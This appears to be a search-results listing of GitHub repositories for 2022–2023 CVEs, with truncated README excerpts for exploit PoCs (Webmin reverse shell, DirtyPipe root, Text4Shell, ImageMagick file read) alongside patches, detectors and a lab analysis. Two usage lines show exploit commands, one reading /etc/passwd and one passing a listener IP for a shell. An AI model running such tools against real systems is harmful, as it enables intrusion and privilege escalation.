140314 matches found
Apache-spark-CVE-2022-33891
Apache-spark-CVE-2022-33891 Apache Spark RCE - CVE-2022-33891 PoC 关注我们 Vulnmachines平台 YouTube Twitter Facebook LinkedIn...
Webmin-CVE-2022-0824-Enhanced-Exploit
Webmin-CVE-2022-0824-Enhanced-Exploit !IMPORTANT Webmin CVE-2022-0824 增强版漏洞利用工具 - 支持命令执行和反向Shell双模式 !IMPORTANT 一个针对 Webmin CVE-2022-0824 漏洞的增强版利用工具，支持直接命令执行和反向Shell两种模式。 🚀 特性 ✅ 双模式支持 ：命令执行模式 + 反向Shell模式 ✅ 多种Payload ：Perl、Bash、Python三种不同的payload ✅ 智能文件管理 ：自动生成唯一文件名，避免文件冲突 ✅ 强制覆盖上传 ：自动处理已存在文件的覆盖问题 ...
DirtyPipePython
dirty.py 描述 这是针对 Linux 内核漏洞 CVE-2022-0847（DirtyPipe）的漏洞利用代码，该漏洞由 Max Kellerman 发现。 此代码将两个现有的 DirtyPipe POC 合并为一个： febinrev 覆写 sudo 二进制文件以直接弹出 root shell eremus-dev 将 Kellerman 的 POC 直接复制到 Python 中 此代码检查以下内容： /etc/passwd 是否可以被覆写以获得 root shell sudo 二进制文件是否可以被覆写以获得 root shell su 二进制文件是否可以被覆写以获得 root...
dirtypipez-exploit
CVE-2022-0847 DirtyPipe 漏洞利用。 Credit: Max Kellermann [email protected] 一个名为 'Dirty Pipe' 的新 Linux 漏洞允许本地用户通过公开可用的漏洞利用程序获取 root 权限。 今天，安全研究员 Max Kellermann 负责任地披露了 'Dirty Pipe' 漏洞，并指出它影响 Linux 内核 5.8 及更高版本，甚至包括 Android 设备。 该漏洞被追踪为 CVE-2022-0847，允许非特权用户在只读文件中注入和覆盖数据，包括以 root 身份运行的 SUID 进程。...
CVE-2022-41333
CVE-2022-41333 https://medium.com/@0xpolar/cve-2022-41333-71eb289d60b5...
CVE-2023-28252-Compiled-exe
CVE-2023-28252-Compiled-exe 对Fortra出色的CVE-2023-2852权限提升漏洞利用的修改。适用于Windows 11 21H2，clfs.sys版本10.0.22000.1574——同样适用于Windows 10 21H2、Windows 10 22H2、Windows 11 22H2和Windows Server 2022。 此版本保留了原始功能，但增加了将二进制文件作为参数提供的选项，在你手头没有Visual Studio时非常有用。 描述 有关该漏洞的（非常）详细说明，请参见...
magento2-template-filter-patch
Parche del Filtro de Plantillas de Magento 2 para CVE-2022-24086, CVE-2022-24087 Parche de Magento 2 para CVE-2022-24086, CVE-2022-24087. Corrige la vulnerabilidad RCE y los errores relacionados mediante un escape profundo de variables de plantilla. Si no puede actualizar Magento o no puede aplic...
CVE-2022-44118-Exploit
此存储库没有 README。...
exploit-CVE-2022-36779
针对CVE-2022-36779的认证命令注入 开心 :...
apache__uima-uimaj_CVE-2022-32287_3-3-0
欢迎使用 Apache UIMA Java SDK Apache UIMA 帮助您管理包含丰富有用信息的非结构化数据（例如文本）。例如，如果您想识别文本中实体的提及或可能将该实体链接到参考数据集，Apache UIMA 提供： 一个方便的数据结构——通用分析结构（CAS）——用于表示该数据 一个类型系统概念服务，作为存储在 CAS 中的增强数据的模式 一个组件模型，包括读取器、分析引擎（处理器）和消费者（写入器），用于处理该数据 一个将多个分析引擎聚合到管道中并执行它们（可选择并行化）的模型 多种用于将 CAS 序列化/反序列化为不同格式的选项 以及许多其他功能！ 请注意，Apache...
Block-Spring4Shell
Project Spring4Shell（CVE-2022-22965）拦截器 防火墙服务器处理程序 - 本项目是一个概念验证（POC）防火墙服务器，旨在检测并拦截利用 CVE-2022-22965 漏洞（通常称为 Spring4Shell）的攻击。该服务器检查传入的 HTTP 请求，并拦截任何匹配与此漏洞相关的已知恶意模式的请求。 概述 防火墙服务器处理程序是一个基于 Python 的简单 HTTP 服务器，使用 http.server 库构建。它监视传入的 HTTP POST 请求，查找与 Spring4Shell...
imagemagick-lfi-poc
ImageMagick 本地文件包含 PoC CVE-2022-44268 MetabaseQ 的研究人员发现了 CVE-2022-44268，即 ImageMagick 7.1.0-49 存在信息泄露漏洞。当它解析 PNG 图像（例如用于调整大小）时，生成的图像中可能嵌入了任意远程文件的内容（前提是 ImageMagick 二进制文件具有读取该文件的权限）。 用法 确保你已安装 ImageMagick 以及所需的 Python 包。 root@kitploit: python3 generate.py -f "/etc/passwd" -o exploit.png ImageMagic...
CVE-2022-30190-Analysis-With-LetsDefends-Lab
CVE-2022-30190-Analysis-With-LetsDefends-Lab 2022年5月27日，NaoSec的技术团队尝试分析并发现了一个看似恶意的.doc格式文档。该文档被检测到从白俄罗斯的IP地址上传。这一可疑行为随后被进一步追踪，并于2022年5月30日（星期一），微软宣布发现了一个零日漏洞迹象，编号为CVE-2022-30190。 已知该恶意文件被检测到指向意大利的区号0438，即Follina村。因此，作为最早分析此漏洞的研究人员之一，Kevin Beamount将此漏洞命名为“follina”。...
springhound
springhound 在CVE-2022-22965和CVE-2022-22963发布后创建。Bash脚本，用于检测项目和系统中的Spring Framework出现情况，让您了解所使用的版本。解压JAR并分析其Manifest文件。 用法：./springhound.sh rootdirectory...
packages_apps_Bluetooth_AOSP10_r33_CVE-2022-20126
此存储库没有 README。...
riskootext4shell
riskootext4shell text4shell script for text coomons =1.10 CVE-2022-33980 Apache Commons Text 库是 Java JDK 原生功能的替代库。 Apache Commons 的版本低于 1.10.0 类似于 CVE-2022-33980 root@kitploit: python3 text4shell.py -u http://192.168.245.111:8080/search?query= -i 192.168.111.186 -p 22 缓解措施 主要解决方案是紧急升级 Apache...
follina-CVE-2022-30190
follina-CVE-2022-30190 由 hazard...
jenkinsci__workflow-multibranch-plugin_CVE-2022-25175_706-vd43c65dec013
Pipeline: Multibranch 简介 增强 Pipeline 插件对分支的处理能力，通过自动 将来自不同分支的构建分组。 每当向源代码仓库推送新分支时，自动创建一个新的 Jenkins 任务。 其他插件可以定义各种分支类型，例如 Git 分支、Subversion 分支、GitHub 拉取请求等。 更多信息请参阅这篇博客文章：https://jenkins.io/blog/2015/12/03/pipeline-as-code-with-multibranch-workflows-in-jenkins/ 说明 要确定正在构建的分支，请使用环境变量 BRANCHNAME，例如...